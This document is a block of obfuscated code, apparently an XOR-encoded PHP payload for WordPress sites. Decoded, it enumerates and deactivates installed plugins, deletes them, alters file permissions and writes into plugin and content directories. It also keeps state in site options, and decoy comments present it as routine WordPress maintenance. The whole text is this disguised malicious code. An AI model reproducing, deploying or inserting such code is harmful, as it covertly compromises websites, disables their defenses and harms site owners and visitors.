;1=!!!(s,~9iliWgdr((((5(((om|Wgx|agf jj`>dqcld1xlfd: ??0!$((izziq !!3(an(((((( aW;~yrxiqyjro ?1=! ,~9iliWgdr!(..()jj`>dqcld1xlfd: ?1>! y8`z=>rj?181>nriz8 !$(,~9iliWgdr$((|z}m!!((s((,~9iliWgdrSU((5(y8`z=>rj?181>nriz8 !3H}xli|mWgx|agf rq;ec{mmgl| ??0!$((,~9iliWgdr!3((uu(,ODGJID[Srq;ec{mmgl| ?1?!U(5(83((((dcn~jkaoykk=k{< !3(((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro ?18!$(((((aW;~yrxiqyjro ?10!((&((,|je<0=:8|qg}dkx9!3((zm|}zf3(u((((u((an((( ,zaa`0:r0}r:}c;bf(()55(((((**!((s((((,ODGJID[Sjj`>dqcld1xlfd: 9!U(((5((,zaa`0:r0}r:}c;bf3(g1{o;ei`f:;c< z9>1{1jm8r8;e~8 !$(((,zaa`0:r0}r:}c;bf!3(((u((an((( ,qri;zze?yp!(((s(,r<0};=e;zrf?a~(5((jj`>dqcld1xlfd: :=?! z9>1{1jm8r8;e~8 !$((rq;ec{mmgl| =8>!!3ngzmik`((((( izziq rq;ec{mmgl| ?1:! z9>1{1jm8r8;e~8 !!$((((}Wkig1fmg~0~qc<{g`|88f !!(((i{(,afez=d8:lz|an!((s((HaW;~yrxiqyjro ??9! ,afez=d8:lz|an(((&(aozjlg0f<j1nk{ ?11!(&((,r<0};=e;zrf?a~!3((((u(((}f{m| ,r<0};=e;zrf?a~$(,afez=d8:lz|an!3u(brWd:drr>|qrizlfce::~ aozjlg0f<j1nk{ 088!$(,of=`cjpo<y|$((((((aW;~yrxiqyjro ?01!!3(((mrppqfp~aze:9: |z}m!3(p|;izdoby9r|y{a|: |z}m!3((,ODGJID[SaW;~yrxiqyjro ?1?!U(5(83(((dcn~jkaoykk=k{< !3yy|m;zWdxb}n{r{~akm z9>1{1jm8r8;e~8 !$((((( 910#1<!!3(((an(( fj0ffpdgn}pcpf0dq z9>1{1jm8r8;e~8 !!!(m1<bdc<lk<9|c;d z9>1{1jm8r8;e~8 !!3}xli|mWgx|agf aozjlg0f<j1nk{ :9<!$((((,zaa`0:r0}r:}c;bf(&((/t/((&((((rq;ec{mmgl| ??8! !$((jj`>dqcld1xlfd: ?01!!3(((u(((ki|k`((((( \`zgijdm((,d|f9x=j|9W:!(s((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| ?18!$((((((,d|f9x=j|9W:!3u(ki|k`(( Mpkmx|agf(((((,d|f9x=j|9W:!((((s''(lm{mzaidarm(~a{a|gz(ngz(Zmk|gz(i}|g%zmnik|gzu(nafiddq(s(o={;`1ei:gj1aqkz rq;ec{mmgl| 089!!3((u((u(((n}fk|agf((ko{9}b8q{<fd<r !((((((s''(|zikm(jzalom(ngz(_X(JdgkcKgf|zgd{(an( )(((((lmnafml rq;ec{mmgl| 08:!!(((((tt((((()(aozjlg0f<j1nk{ ?1<! rq;ec{mmgl| 08;!!!((((s''({xmkaidarm(nia|`n}d(za|m%i`mil%dgo((an( aozjlg0f<j1nk{ 08<! IJ[XI\@((((&(((rq;ec{mmgl| 08=!!!((s''(_gzlXzm{{(>&<(xi||mzf{2({i|a{naijdm({dalafo%aflg((((((((zmy}azmWgfkm((IJ[XI\@((((((&(aozjlg0f<j1nk{ 08=!3,f<;zq8p>mpe0z5 8pjj#8p9=!3,|yifmkmze=kye5,f<;zq8p>mpe0z-9:3(u(an(((((( )((((((aW;~yrxiqyjro ?1<! aW;~yrxiqyjro 08;!!!(((s''(X@X(0&9(af|mz{mk|agf2(zmdipml(af|mzxzm|mz((((zm|}zf3((((((((u''(Hxzgxioi|m%kgf{|(lmil%dm||mz(u''(kdmifmz(ik|agf(,yxoi8>>?k9W9((((5(om|Wxd}oaf{ !3((((an((( )((jj`>dqcld1xlfd: ?1=! ,yxoi8>>?k9W9!!(((s(((((zm|}zf3((u((((((,da{|(5(((izziq !3((((ngzmik`(( ,yxoi8>>?k9W9(i{((,ji{mfiem(((((56((,i`Wq|}qg{{|!(s(an( ,ji{mfiem(555((y8`z=>rj?181>nriz8 !!(((((s(kgf|af}m3((u((,da{|S,ji{mfiemU(((5(((((,i`Wq|}qg{{|3u(zm|}zf((,da{|3(u((n}fk|agf({x?`z9?jx9j{}x ,kgdrpmd0ig$((,~lapgmqbg<~m;py!((((((((s''(|zax(kg}f|(((((,~o8a|m=x`{Wp`((5(((((Hjj`>dqcld1xlfd: =11! ,kgdrpmd0ig$((nid{m$(((f}dd$((8$(( 8p;i>9?#8p<=1m1!!3(((((an(( )(,~o8a|m=x`{Wp`!((((s(((zm|}zf((((((nid{m3(u((((((((((((ngzmik`((( ,~lapgmqbg<~m;py((i{((,{amW>Wp=W>mk!(((s((((an((((( )(((((jj`>dqcld1xlfd: ?>8! ,{amW>Wp=W>mk!((tt(((()(((((,{amW>Wp=W>mk((((tt(rq;ec{mmgl| ==;! ,{amW>Wp=W>mk!((6(((((( 8pi=1#8p=i?!!(((((s((kgf|af}m3(((((u((((|zq((((s,~?b9=1{ef>n1x?((5(Hrq;ec{mmgl| 08>! ,{amW>Wp=W>mk$((,~o8a|m=x`{Wp`!3(((u((ki|k`( \`zgijdm((((((,x}mj}qpym?gord0n!((((s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 08?!$((,x}mj}qpym?gord0n!3(((((((kgf|af}m3((((u(ki|k`((( Mpkmx|agf(((,x}mj}qpym?gord0n!(s(kgf|af}m3(((u(((an( ,~?b9=1{ef>n1x?!(szm|}zf(|z}m3(u''(a{gem|zak(xaxmdafm((u(zm|}zf(nid{m3(((u(n}fk|agf((((|`89b=pjx><{q>l ,xd}oafWji{mfiem!(((((s((,~lapgmqbg<~m;py((((5(((,ODGJID[Sjj`>dqcld1xlfd: 080!U3(an( )(((((rq;ec{mmgl| ?1=! ,~lapgmqbg<~m;py!(((tt((mex|q ,~lapgmqbg<~m;py!!(((szm|}zf((nid{m3u(((((an(( )(((lmnafml aozjlg0f<j1nk{ 08:!!(((tt(((((mex|q ,xd}oafWji{mfiem!(tt((((rq;ec{mmgl| 081! ,xd}oafWji{mfiem$(rq;ec{mmgl| :<>!!()55(nid{m!(s((((zm|}zf(nid{m3(((u(((((((((((,fd8pcbk08m0(5(((((_XWXD]OAFWLAZ(((((&((/'/(&((((,xd}oafWji{mfiem3(an(((( rq;ec{mmgl| ?1:! ,xd}oafWji{mfiem!((555(((/&/!((s,pWm8aei>8mpm((5((izziq ,fd8pcbk08m0!3u(((((md{m(((s(,z?xcd9c}k{8((5((aozjlg0f<j1nk{ 098! ,fd8pcbk08m0!3(an((( )(((jj`>dqcld1xlfd: :8=! ,z?xcd9c}k{8!(((tt()(aozjlg0f<j1nk{ 099! ,z?xcd9c}k{8!!(szm|}zf(nid{m3(((((u,pWm8aei>8mpm((((5((bpfgW9zzomm:m:mc?>pn ,z?xcd9c}k{8$(izziq aW;~yrxiqyjro 09:!$((((((aozjlg0f<j1nk{ 09;!$((rq;ec{mmgl| 09<!$(aW;~yrxiqyjro 09=!$(aozjlg0f<j1nk{ 09>!!!3u(((((((ngzmik`((( ,pWm8aei>8mpm((i{((((,kgdrpmd0ig!((san(( )((((jj`>dqcld1xlfd: 09?! ,kgdrpmd0ig!!((s(((((kgf|af}m3(u''(_X(JdgkcKgf|zgd{2(kg~izaif|%ilb(xzg|g|qxman((( {x?`z9?jx9j{}x ,kgdrpmd0ig$(((,~lapgmqbg<~m;py!!(((szm|}zf((|z}m3(((u''(H{xadd(emlai|gz((((u(zm|}zf((nid{m3((((((u((((n}fk|agf(bpfgW9zzomm:m:mc?>pn ,z?xcd9c}k{8$(((,ik`aWga;r}W{d|x$((,m|09W}}8rnWk`z((5(((8$(((.,l9xbm>go9}{~0a(((5((((f}dd$((((.,g|Wg}<=j=;oik(5((f}dd!((s(,da{|(((5(izziq !3an(( ,m|09W}}8rnWk`z(6(( 8p;#8p=!!((s((((zm|}zf(,da{|3u((((an(( ,l9xbm>go9}{~0a((((555(((((f}dd!((((((s((((((,l9xbm>go9}{~0a(((5(((izziq !3(,g|Wg}<=j=;oik(5(((aW;~yrxiqyjro >18! |z}m!((#((( 8p1#8p9!3(u(an((( rq;ec{mmgl| 090! |z}m!(((6((,g|Wg}<=j=;oik!(((((s(zm|}zf(,da{|3((u(an(( )((jj`>dqcld1xlfd: :8=! ,z?xcd9c}k{8!!((((((s''(i|geak(zmil(zm|}zf(((,da{|3((((((u(((,j=8elkj:gjr(((5((Hjj`>dqcld1xlfd: :;=! ,z?xcd9c}k{8!3an(( ,j=8elkj:gjr((()55((nid{m!(((san(( a{{m| ,l9xbm>go9}{~0aS,j=8elkj:gjrU!!((szm|}zf((,da{|3u,l9xbm>go9}{~0aS,j=8elkj:gjrU(5((|z}m3(((u((,il1l0r1~8fybbW(((5(}:{9};`f?=m?`{`i{yc} ,z?xcd9c}k{8!3(an((( )((((aozjlg0f<j1nk{ 091! ,il1l0r1~8fybbW!!(s((((((zm|}zf((,da{|3((u(ngzmik`(((( ,il1l0r1~8fybbW(((i{((,rol>ikj8f|=nq!((s(((an(( jj`>dqcld1xlfd: 090! |z}m!((((6(((((,g|Wg}<=j=;oik(((tt((aozjlg0f<j1nk{ >01! ,da{|!(((65( <89#11!!((s((jzmic3(u(((,fd8pcbk08m0(5(,z?xcd9c}k{8((((&((((((/'/((&((,rol>ikj8f|=nq3((((an((( Haozjlg0f<j1nk{ 0:8! ,fd8pcbk08m0!!((((s((((((kgf|af}m3u((((((an((((( Hrq;ec{mmgl| :8=! ,fd8pcbk08m0!!(s(((((,da{|(5(rq;ec{mmgl| <:9! ,da{|$((bpfgW9zzomm:m:mc?>pn ,fd8pcbk08m0$(,ik`aWga;r}W{d|x$(,m|09W}}8rnWk`z(((#(9$(,l9xbm>go9}{~0a$(,g|Wg}<=j=;oik!!3((u((md{man( HaW;~yrxiqyjro 0:9! ,fd8pcbk08m0!!(s,q9`01prf:(((5((aW;~yrxiqyjro 0::! ,fd8pcbk08m0$(kgf{|if| rq;ec{mmgl| 0:;!!!3((,q9`01prf:(5(((jj`>dqcld1xlfd: ?>8! ,q9`01prf:!(((((7((((rq;ec{mmgl| ??! ,q9`01prf:!(2((**3(((((an((((( aozjlg0f<j1nk{ ?1>! ,q9`01prf:$((,ik`aWga;r}W{d|x$(((((|z}m!!(s((((((,da{|SU((((5((((,fd8pcbk08m03,{|db:<c95>1#113,y}bdqn0d|q5,{|db:<c9%<<3(((((u((uu(zm|}zf((((,da{|3(u((((n}fk|agf(((clm}oeylz|>l0;q:fr ,xd}oafWji{mfiem!((((((s((((((((((an(((((( )((aozjlg0f<j1nk{ ?>8! ,xd}oafWji{mfiem!((tt(((()((,xd}oafWji{mfiem!((s(zm|}zf((((nid{m3u((((an( jj`>dqcld1xlfd: 0:<! ,xd}oafWji{mfiem$(((((aozjlg0f<j1nk{ :<>!!((((()55(nid{m!(szm|}zf((nid{m3(u(((((((,xd}oafWji{mfiem(((((5((rq;ec{mmgl| >09! ,xd}oafWji{mfiem!3(an(((((( ,xd}oafWji{mfiem((555((y8`z=>rj?181>nriz8 !!(((s(zm|}zf(nid{m3((u(((an(((( )((((((jj`>dqcld1xlfd: ?1<! rq;ec{mmgl| 0:=!!(..(((jj`>dqcld1xlfd: 08<! IJ[XI\@(((&(aozjlg0f<j1nk{ 0:>!!!(((szmy}azmWgfkm(((((IJ[XI\@(((&(((jj`>dqcld1xlfd: 0:>!3(u(((((an(( aW;~yrxiqyjro 0:?! rq;ec{mmgl| 0:=!!((..(((((a{Wxd}oafWik|a~m ,xd}oafWji{mfiem!!(s((lmik|a~i|mWxd}oaf{ izziq ,xd}oafWji{mfiem!$((((((|z}m!3((u(((((,z?xcd9c}k{8((5((lmnafml aozjlg0f<j1nk{ 0:0!!(7((((_XWXD]OAFWLAZ((((&((((((/'/(((&(((jj`>dqcld1xlfd: 098! ,xd}oafWji{mfiem!((((2((((**3(((an((( ,z?xcd9c}k{8(..(jj`>dqcld1xlfd: 0:1! ,z?xcd9c}k{8!((((((..(((rq;ec{mmgl| 098! ,xd}oafWji{mfiem!((()55((/&/(..(aW;~yrxiqyjro 098! ,xd}oafWji{mfiem!!(((san( }a0b}08{lqW=0;~?}obW ,z?xcd9c}k{8!!(((s(((zm|}zf(((((|z}m3(((((u((((u(((an( aozjlg0f<j1nk{ 0:?! aozjlg0f<j1nk{ 0;8!!!((s((an( )(aW;~yrxiqyjro 0:?! jj`>dqcld1xlfd: 0;9!!(((((tt(()((k}zzmf|W}{mzWkif aW;~yrxiqyjro 0;8!!!(s''(xiz|a|agf(xzagza|q%y}m}m(ngz(_X(Xiom(Da{|an((((( aozjlg0f<j1nk{ 0:?! aW;~yrxiqyjro 0;:!!((..((((aozjlg0f<j1nk{ 0:?! aozjlg0f<j1nk{ 0;;!!!((s,}{mz{((5(((((om|W}{mz{ izziq aW;~yrxiqyjro 0;<!(56((aozjlg0f<j1nk{ 0;=!$((jj`>dqcld1xlfd: 0;>!((56((9!!3((((((an( )(mex|q ,}{mz{!((..((((,}{mz{S8U%6AL!(((s(((aW;~yrxiqyjro 0;;! ,}{mz{S8U%6AL!3(u((((((md{m(saozjlg0f<j1nk{ 0;;! 9!3u((((u(((((((u(((,emj<bi:m=<{yf((5(((lmdm|mWxd}oaf{ izziq ,xd}oafWji{mfiem!!3(((an(( )((((((a{WxWmzzgz ,emj<bi:m=<{yf!!((((((s(((zm|}zf( jggd!((,emj<bi:m=<{yf3(((u((u((zm|}zf((((nid{m3(u(((((n}fk|agf(((}a0b}08{lqW=0;~?}obW ,z?xcd9c}k{8$((,m|09W}}8rnWk`z(5((8!((s(((an(( ,m|09W}}8rnWk`z(((6(( 98#>!!((((s,x9>{kd|W9mW<5X@XWEIBGZW^MZ[AGF3,ze:e9lqd`||5,x9>{kd|W9mW<"13(((zm|}zf((nid{m3((((((u(((((an(( )((aW;~yrxiqyjro ?>8! ,z?xcd9c}k{8!((tt(,z?xcd9c}k{8(555(**((tt(aW;~yrxiqyjro 0;?! ,z?xcd9c}k{8$(((((jj`>dqcld1xlfd: :<>!!()55(((nid{m!(s(((((zm|}zf(((nid{m3u(,~bo0gog9ee{p(5(Haozjlg0f<j1nk{ 0;0! ,z?xcd9c}k{8!3(an((( ,~bo0gog9ee{p((555((nid{m(((((tt(()((aW;~yrxiqyjro 0:1! ,~bo0gog9ee{p!!((s,fxdian<ce59>";3,q?1?{{z{p5,fxdian<ce%;;3((zm|}zf(nid{m3u,qcf`bfe9ll?ge((5(((lmnafml aozjlg0f<j1nk{ 0:0!!((7(HaW;~yrxiqyjro 0;0! _XWXD]OAFWLAZ!((2((nid{m3(((((an(( ,qcf`bfe9ll?ge((555(((nid{m(tt( ,~bo0gog9ee{p()55((,qcf`bfe9ll?ge((..((((((aozjlg0f<j1nk{ 0;1! ,~bo0gog9ee{p$(((((,qcf`bfe9ll?ge(&(((LAZMK\GZQW[MXIZI\GZ!()55(((8!!((((szm|}zf(((nid{m3,jd>y?0::W<yn5 8p;0#8pj1!3,e:1a`;>?{;b5,jd>y?0::W<yn-9>3(((u((,bfl;g{x<z?0x((5(((((Haozjlg0f<j1nk{ :=8! ,~bo0gog9ee{p!3(((((an(( )((jj`>dqcld1xlfd: 091! ,bfl;g{x<z?0x!!((s(((zm|}zf((nid{m3((((u((((((((ngzmik`(((( ,bfl;g{x<z?0x((i{(((,`d`<;0n{W>=<n!(((s(an(( ,`d`<;0n{W>=<n((555(/&/(tt(((,`d`<;0n{W>=<n((((555(aW;~yrxiqyjro :<>!!(s(((kgf|af}m3((u,fd8pcbk08m0(((((5((,~bo0gog9ee{p((((&((((kgf{|if| aW;~yrxiqyjro 0<8!!((&((((,`d`<;0n{W>=<n3an((( HaW;~yrxiqyjro 0<9! ,fd8pcbk08m0!!(s(aqdz{8}zyk~qm;yf ,fd8pcbk08m0!3((kgf|af}m3((((u''(mpik|(zm|zq%xgdakq((an((( Hjj`>dqcld1xlfd: 0<:! ,fd8pcbk08m0!!((s(((((}a0b}08{lqW=0;~?}obW ,fd8pcbk08m0$((,m|09W}}8rnWk`z((((#(9!3(((u((md{m(s,oo:a8iy?j5 8pj9#8p=i!3,xp?pj:`fae5,oo:a8iy?j->3an(( )(((((aqdz{8}zyk~qm;yf ,fd8pcbk08m0!!(syy|m;zWdxb}n{r{~akm ,fd8pcbk08m0$( 8p=n#8p9<=!!3((aqdz{8}zyk~qm;yf ,fd8pcbk08m0!3((u((u(((u((an(( )(Hrq;ec{mmgl| 0<;! ,~bo0gog9ee{p!!(((syy|m;zWdxb}n{r{~akm ,~bo0gog9ee{p$((( <0?#>!!3(HaW;~yrxiqyjro 0<;! ,~bo0gog9ee{p!3((u''(_X(}{mMf|a|qZmkgzl{2(iky}azm(zm|zq%xgdakq(((zm|}zf()(Hjj`>dqcld1xlfd: 08<! ,~bo0gog9ee{p!3((u(n}fk|agf(((x=zbq<b0kb}~r~zri8bn8W !((s(|zq(((((s((,da{|(5((((ko{9}b8q{<fd<r !3an(( )(jj`>dqcld1xlfd: 091! ,da{|!!((szm|}zf3(u((((((,afr9{yabdk{x((5((izziq !3(((((,m>k?Wczlrgl=a?oc((((5(nid{m3((((ngzmik`(( rq;ec{mmgl| 0<<! ,da{|!(i{(,ji{mfiem!(s''(_gzlXzm{{(>&;(kgeeifl{2(ji|k`({cax%da{|(an( )((aozjlg0f<j1nk{ ?>8! ,ji{mfiem!!(s(kgf|af}m3(((((((u(((((((,pWd>r~dlzn(5(aW;~yrxiqyjro 098! ,ji{mfiem!3((((((an( ,pWd>r~dlzn(((555(/&/!((((s((((((((,pWd>r~dlzn(5((,ji{mfiem3(((((u(((an((( a{{m| ,afr9{yabdk{xS,pWd>r~dlznU!!((s(((kgf|af}m3((u(((,afr9{yabdk{xS,pWd>r~dlznU((((5((|z}m3an(( |`89b=pjx><{q>l ,ji{mfiem!!((s((clm}oeylz|>l0;q:fr ,ji{mfiem!3,m>k?Wczlrgl=a?oc(((5((|z}m3u(((((u(((an( HaW;~yrxiqyjro 0<=! }Wkig1fmg~0~qc<{g`|88f !!!(s,z|;r=;0kfci59>#9?3,qmxzc1{dx8`y5,z|;r=;0kfci%;<3((,f;}:>jipe(5(((}:{9};`f?=m?`{`i{yc} }Wkig1fmg~0~qc<{g`|88f !!3(((an((( aozjlg0f<j1nk{ 0<>! ,f;}:>jipe!!((((s(,~lapgmqbg<~m;py(((5(,ODGJID[SaW;~yrxiqyjro 080!U3(((((((ngzmik`( ,f;}:>jipe((((i{((((((,rol>ikj8f|=nq!(s(((an((((( ,rol>ikj8f|=nq((((555((((((ac0{`=o;}0p=}qpady1kq !!(((s((kgf|af}m3u''(_X(Af|mzik|a~a|q(IXA(i{xmk|(zi|ag((,kgdrpmd0ig((5(}Wkig1fmg~0~qc<{g`|88f !((((((&((/'/(((((&(,rol>ikj8f|=nq3an((( )(Hrq;ec{mmgl| 0:9! ,kgdrpmd0ig!(((tt((jj`>dqcld1xlfd: ??! jj`>dqcld1xlfd: 0::! ,rol>ikj8f|=nq$(((kgf{|if| rq;ec{mmgl| 0<?!!!!(()55(((aW;~yrxiqyjro 0<0!!((((s(kgf|af}m3(u((an((( {x?`z9?jx9j{}x ,kgdrpmd0ig$((,~lapgmqbg<~m;py!!(((((s(aqdz{8}zyk~qm;yf ,kgdrpmd0ig!3(,m>k?Wczlrgl=a?oc((5((|z}m3(((u((((u(((((((u(((u((((((,ne>}>=m{~ky;|d1(((((5(((,ODGJID[Saozjlg0f<j1nk{ <0:!U3((((an(( rq;ec{mmgl| 0<>! ,ne>}>=m{~ky;|d1!(..()((mex|q ,ne>}>=m{~ky;|d1!!(((s''(Zmk|gz(i}|g%zmnik|gz({a|m(em|i(an((( zq0r|a;p=fkj`zxW ,ne>}>=m{~ky;|d1!!(((s(,m>k?Wczlrgl=a?oc(((5((|z}m3(((u((((u((((u(ki|k`(( \`zgijdm(,d|f9x=j|9W:!(((s''(Hlmzmoa{|mz(mnnmk|%|qxmgcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 0<1!$(((,d|f9x=j|9W:!3((((((((u(((((ki|k`( Mpkmx|agf((,d|f9x=j|9W:!(s(((((u((((u((n}fk|agf(xe~q|azjpc?qi<d8} !(s''(xzgxioi|m%kgf{|(omfmzid%zmk}z{a~m(kgddmk|gz((((|zq(s,a`j9edi8=xoe}r((5( af|!(om|Wgx|agf rq;ec{mmgl| 0=8!$(8!3(an((((  rq;ec{mmgl| ??8! !(%(((((,a`j9edi8=xoe}r!(65((( ;=;>#><!!((((s(((((}xli|mWgx|agf aozjlg0f<j1nk{ 0=9!$(aW;~yrxiqyjro 0=:! !!3(,|~y}<|~}`k}9(((5(izziq izziq fd1mjydc?~oala}= !$(((izziq rq;ec{mmgl| 0=;!!!!3,qfizb88fx~1((((5((jj`>dqcld1xlfd: 0=<! jj`>dqcld1xlfd: :0!!(((((7((((((jj`>dqcld1xlfd: :0! !((((2(**3((((an( ,qfizb88fx~1(()55((**(..(,qfizb88fx~1(((()55(((((fd1mjydc?~oala}= !!(((,|~y}<|~}`k}9SU(((((5((izziq ,qfizb88fx~1$(izziq aozjlg0f<j1nk{ 0=;!$(aozjlg0f<j1nk{ 0==!!!3((ngzmik`((( ,|~y}<|~}`k}9((((i{((,}gyx0:ey8;qcq!(((s''(IXK}({`e(ZM[\(kgf|zgddmzngzmik`(((((( ,}gyx0:ey8;qcqS9U((i{(((((,orp9ff=1W`9!((((((s((((((,zjz{m?r~{d`((5(((((aozjlg0f<j1nk{ 0=<! aozjlg0f<j1nk{ =80!!(((((7((Hjj`>dqcld1xlfd: =80! ,}gyx0:ey8;qcqS8U((((&((/'/(&((((((,orp9ff=1W`9((&(/"/!((((((2((nid{m3((((((an( )aozjlg0f<j1nk{ 0<>! ,zjz{m?r~{d`!!((kgf|af}m3((ngzmik`(((( ,zjz{m?r~{d`(((((i{(,p`x=?ipbc?!(((((s(((an((( )Hrq;ec{mmgl| 0=>! ,p`x=?ipbc?!!(((((kgf|af}m3(((((((,{o9:qbky{<;g1((5(Hrq;ec{mmgl| :8:! ,p`x=?ipbc?!3an( ,{o9:qbky{<;g1((()55(nid{m((..(((( jj`>dqcld1xlfd: 0=?! !((%((,{o9:qbky{<;g1!(((6((( ?81?%;<1?!!((aqdz{8}zyk~qm;yf ,p`x=?ipbc?!3(uuu,aqrz?0of>{l?be((((((5((om|Wgx|agf rq;ec{mmgl| ??0!$(izziq !!3((an(( )jj`>dqcld1xlfd: 0<>! ,aqrz?0of>{l?be!!(,aqrz?0of>{l?be((5(((((izziq !3((((,bm=8f|8en9(5(((aozjlg0f<j1nk{ :=?! z9>1{1jm8r8;e~8 !$(aW;~yrxiqyjro 0=0!!3,e9gz|p0xaz?e{5>983,`yy}ifkzeea}yk5 ,e9gz|p0xaz?e{68!7,e9gz|p0xaz?e{2%,e9gz|p0xaz?e{3,Wxl(5( lmnafml jj`>dqcld1xlfd: 9<8!!((7((_XWKGF\MF\WLAZ(2((IJ[XI\@(((&((jj`>dqcld1xlfd: 0=1!!(&((((aozjlg0f<j1nk{ 0>8!3ngzmik`( aozjlg0f<j1nk{ 0=<! rq;ec{mmgl| =80!!((((7(( izziq!(Haozjlg0f<j1nk{ =80! ,Wxl(((&(((aozjlg0f<j1nk{ 0>9!!(((2((((((izziq !((i{(,yn9yx9xk>m`f!(s((((((an(( jj`>dqcld1xlfd: 0>:! aozjlg0f<j1nk{ 098! ,yn9yx9xk>m`f!!((555(,bm=8f|8en9!((kgf|af}m3(,jp|j?:;8r=(5(rq;ec{mmgl| 0>:! jj`>dqcld1xlfd: 0>;! ,yn9yx9xk>m`f!!((&((/'/((((&(jj`>dqcld1xlfd: 0>:! ,yn9yx9xk>m`f!3,aj|k>81159<=t9>>3,pp{n{az=5,aj|k>811V9;<3((((((an(( aozjlg0f<j1nk{ ?1>! ,jp|j?:;8r=$((,aqrz?0of>{l?be$((((|z}m!!((kgf|af}m3(((((an((( )Haozjlg0f<j1nk{ 9<?! ,yn9yx9xk>m`f!!(kgf|af}m3(,|kx||<nWg}j:||o`(5((Haozjlg0f<j1nk{ ::;! ,yn9yx9xk>m`f!3((((((an( ),|kx||<nWg}j:||o`((tt(((,|kx||<nWg}j:||o`((((6( :81?8?;#?1!!(((kgf|af}m3((((((,i<8cbbodo>xxoe(5(HaW;~yrxiqyjro =11! ,yn9yx9xk>m`f!3(an( )jj`>dqcld1xlfd: ?>8! ,i<8cbbodo>xxoe!((((tt(((((aozjlg0f<j1nk{ 0><! ,i<8cbbodo>xxoe$(rq;ec{mmgl| 0>=!!((555(((nid{m!((kgf|af}m3,|>=x?ne8kz<y(((5((aW;~yrxiqyjro =99! aW;~yrxiqyjro 0>>!$(((((**$((,i<8cbbodo>xxoe!3((((((((an((( )jj`>dqcld1xlfd: ?>8! ,|>=x?ne8kz<y!(((((tt(((,|>=x?ne8kz<y(((((555(((,i<8cbbodo>xxoe(((((tt()~rl=fzla18ykW?jkrj} ,|>=x?ne8kz<y!!((kgf|af}m3({jynjr};<k;ff=~{9pbapx ,yn9yx9xk>m`f$((((,|>=x?ne8kz<y!3(an( rq;ec{mmgl| 0>?! aW;~yrxiqyjro :88!!!(Hgxkik`mWaf~idali|m ,yn9yx9xk>m`f$(|z}m!3(u((((}f{m| ,aqrz?0of>{l?be$((((((,bm=8f|8en9$((((,Wxl$((,yn9yx9xk>m`f$(((((,jp|j?:;8r=$((,|kx||<nWg}j:||o`$((,i<8cbbodo>xxoe$(,|>=x?ne8kz<y!3(({=lfpcczcrzz?yko8W8{ !3(((((u(((((,b;?pz:<pydm(5(((((,ODGJID[SaW;~yrxiqyjro 0>0!U3,ne>}>=m{~ky;|d1(5(,ODGJID[Sjj`>dqcld1xlfd: <0:!U3(((,jol}an{dbi|jo9((5((( aozjlg0f<j1nk{ 0<>! ,b;?pz:<pydm!((((..(()(mex|q ,b;?pz:<pydm!!((tt( aW;~yrxiqyjro 0>1! ,ne>}>=m{~ky;|d1!((..((()(mex|q ,ne>}>=m{~ky;|d1!!3an(((( )(,jol}an{dbi|jo9!((((s(((((zm|}zf3(((((u(,enbo|jWa9b>k~dj`((5(( af|!(((om|Wgx|agf aW;~yrxiqyjro 0?8!$((8!3(an(  aW;~yrxiqyjro 0=?! !(((((%(,enbo|jWa9b>k~dj`!(4(((( 8p11m#8p<?:!!(((s''(_X(\io(Kdg}l2(dafc(}fanaki|agf(((((zm|}zf3(u(((x=zbq<b0kb}~r~zri8bn8W !3}xli|mWgx|agf jj`>dqcld1xlfd: 0?8!$(rq;ec{mmgl| 0=?! !!3u((((((ki|k`(( \`zgijdm(((,d|f9x=j|9W:!(s(((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 0?9!$((,d|f9x=j|9W:!3((u((ki|k`(( Mpkmx|agf((((,d|f9x=j|9W:!(((s''(X[Z%<(fiem{xikm{(kixijada|q(oi|m((u(u(((((n}fk|agf((o>f9|{o1:cW|>cz}{fn1 !(((s|zq(s(((((((,xd8`b<k9dofqp(((((5((mrppqfp~aze:9: !3((((((an( ),xd8`b<k9dofqp(tt((aozjlg0f<j1nk{ ==;! ,xd8`b<k9dofqp!(4(( <<:#=0!!(zm|}zf3an((((( )~rl=fzla18ykW?jkrj} ,xd8`b<k9dofqp!!(s,beey9{=}r5<0>3,~z<1??fc~|95 ,beey9{=}r68!7,beey9{=}r2%,beey9{=}r3(gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 0?:!$(jj`>dqcld1xlfd: 0?;!!3zm|}zf3(u(((an((((( aW;~yrxiqyjro 0>?! aozjlg0f<j1nk{ 0?<!!(((..((om|W|zif{amf| rq;ec{mmgl| 0?=!!!(zm|}zf3(((,rmo<cd~9:j9aq((5((((}Wkig1fmg~0~qc<{g`|88f !3kdmiz{|i|kik`m |z}m!3(an( Haozjlg0f<j1nk{ 0?>! ,rmo<cd~9:j9aq!((((..()HaW;~yrxiqyjro 0<=! ,rmo<cd~9:j9aq!!(s(((zm|}zf3(u(((((((((an((( )Haozjlg0f<j1nk{ 0??! ,rmo<cd~9:j9aq!!(((s(((((((,f~cnexnnmigln(5(((((H}ei{c 8!3(((((Wfpcp9{<d<qobniil ,rmo<cd~9:j9aq$(((((( ?=8%:=?!$((|z}m!3(((((H}ei{c ,f~cnexnnmigln!3(yy|m;zWdxb}n{r{~akm ,rmo<cd~9:j9aq$(( <99#0:!!3(kdmiz{|i|kik`m |z}m!3(u(md{m((((an( )Hrq;ec{mmgl| 099! ,rmo<cd~9:j9aq!(((((tt()Hjj`>dqcld1xlfd: 9<?! ,rmo<cd~9:j9aq!!(((s(((((yy|m;zWdxb}n{r{~akm ,rmo<cd~9:j9aq$(( :;=#:=0!!3(kdmiz{|i|kik`m |z}m!3(((u(((((((an((((( Haozjlg0f<j1nk{ 0??! ,rmo<cd~9:j9aq!(..((((( )Haozjlg0f<j1nk{ 099! ,rmo<cd~9:j9aq!((tt()Hrq;ec{mmgl| 9<?! ,rmo<cd~9:j9aq!!((..(Hjj`>dqcld1xlfd: 0<;! ,rmo<cd~9:j9aq!!((s(,f~cnexnnmigln((5((H}ei{c 8!3((Wfpcp9{<d<qobniil ,rmo<cd~9:j9aq$(( 9:?#;>>!$(((|z}m!3((H}ei{c ,f~cnexnnmigln!3((((((yy|m;zWdxb}n{r{~akm ,rmo<cd~9:j9aq$(((( <08#9;!!3(kdmiz{|i|kik`m |z}m!3((((u(((((((kdmiz{|i|kik`m |z}m!3((((an(( )HaW;~yrxiqyjro 0??! ,rmo<cd~9:j9aq!((tt(((()Hjj`>dqcld1xlfd: 0?0! 